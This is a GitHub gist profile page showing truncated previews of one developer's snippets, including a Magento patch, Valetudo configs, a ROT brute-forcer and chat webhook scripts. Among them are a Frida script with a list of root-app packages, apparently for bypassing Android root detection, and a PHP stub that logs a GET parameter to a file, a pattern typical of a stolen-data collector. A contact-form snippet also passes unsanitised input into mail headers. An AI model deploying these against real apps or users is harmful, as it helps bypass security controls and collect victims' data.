Skip to content

Instantly share code, notes, and snippets.

View tete2soja's full-sized avatar
🦄
making some magic

Nicolas Le Gall tete2soja

🦄
making some magic
View GitHub Profile
@tete2soja
tete2soja / m242-wrap-price-indexer-with-transaction.patch
Created July 2, 2024 06:43
m242-wrap-price-indexer-with-transaction.patch
diff --git a/Model/Indexer/Product/Price/AbstractAction.php b/Model/Indexer/Product/Price/AbstractAction.php
index e69ab50..ce0c0f6 100644
--- a/Model/Indexer/Product/Price/AbstractAction.php
+++ b/Model/Indexer/Product/Price/AbstractAction.php
@@ -396,31 +396,39 @@ abstract class AbstractAction
},
ARRAY_FILTER_USE_KEY
);
- if (empty($typeIndexers)) {
- $this->deleteIndexData($changedIds);

Keybase proof

I hereby claim:

  • I am tete2soja on github.
  • I am nlegall (https://keybase.io/nlegall) on keybase.
  • I have a public key ASBSVcWe7XCjKB19FKsjN1pxIOFB-JJ-3yXE9Ada6VynaAo

To claim this, I am signing this object:

Java.perform(function() {
var RootPackages = ["com.noshufou.android.su", "com.noshufou.android.su.elite", "eu.chainfire.supersu",
"com.koushikdutta.superuser", "com.thirdparty.superuser", "com.yellowes.su", "com.koushikdutta.rommanager",
"com.koushikdutta.rommanager.license", "com.dimonvideo.luckypatcher", "com.chelpus.lackypatch",
"com.ramdroid.appquarantine", "com.ramdroid.appquarantinepro", "com.devadvance.rootcloak", "com.devadvance.rootcloakplus",
"de.robv.android.xposed.installer", "com.saurik.substrate", "com.zachspong.temprootremovejb", "com.amphoras.hidemyroot",
"com.amphoras.hidemyrootadfree", "com.formyhm.hiderootPremium", "com.formyhm.hideroot", "me.phh.superuser",
"eu.chainfire.supersu.pro", "com.kingouser.com", "com.topjohnwu.magisk"
];
@tete2soja
tete2soja / rc.local
Created December 13, 2021 11:41
valetudo_rc.local
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
@tete2soja
tete2soja / valetudo.conf
Created December 13, 2021 11:40
valetudo.conf
#!upstart
description "Valetudo"
env VALETUDO_CONFIG_PATH=/mnt/data/valetudo/valetudo_config.json
start on started network-interface INTERFACE=wlan0
stop on runlevel [06]
oom score 1000
exec /usr/local/bin/valetudo
<?php
if(isset($_POST['name'])) {
$name = $_POST['name'];
$replyto = $_POST['replyTo'];
$message = $_POST['message'];
$to = 'zkw48824@zzrgg.com';
$subject = 'My Subject';
// Set SMTP headers
$headers = "From: $name \n" .
"Reply-To: $replyto";
<?php
$fp = fopen('/tmp/esd.txt', 'aw');
fwrite($fp, $_GET["u"]."\n");
fclose($fp);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css" integrity="sha256-2YQRJMXD7pIAPHiXr0s+vlRWA7GYJEK0ARns7k2sbHY=" crossorigin="anonymous" />
@tete2soja
tete2soja / rot.py
Created July 7, 2019 20:17
ROT Brute force python script
from sys import argv
message = argv[1]
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
letters = 'abcdefghijklmnopqrstuvwxyz'
for key in range(26):
translated = ''
for letter in message:
if letter.isupper():
@tete2soja
tete2soja / teams-chat-post.sh
Last active November 24, 2022 09:23 — forked from chusiang/teams-chat-post-for-workflows.sh
Post a message to Microsoft Teams with bash script.
#!/bin/sh
# =============================================================================
# Author: Chu-Siang Lai / chusiang (at) drx.tw
# Filename: teams-chat-post.sh
# Modified: 2018-03-28 15:04
# Description: Post a message to Microsoft Teams.
# Reference:
#
# - https://gist.github.com/chusiang/895f6406fbf9285c58ad0a3ace13d025
#
@tete2soja
tete2soja / slack.py
Last active December 17, 2016 19:37
slack_headphones
class SLACKER(object):
def notify(self, message, status)
if not headphones.CONFIG.SLACK_ENABLED:
return
import requests
SLACK_URL = headphones.CONFIG.SLACK_URL
channel = headphones.CONFIG.SLACK_CHANNEL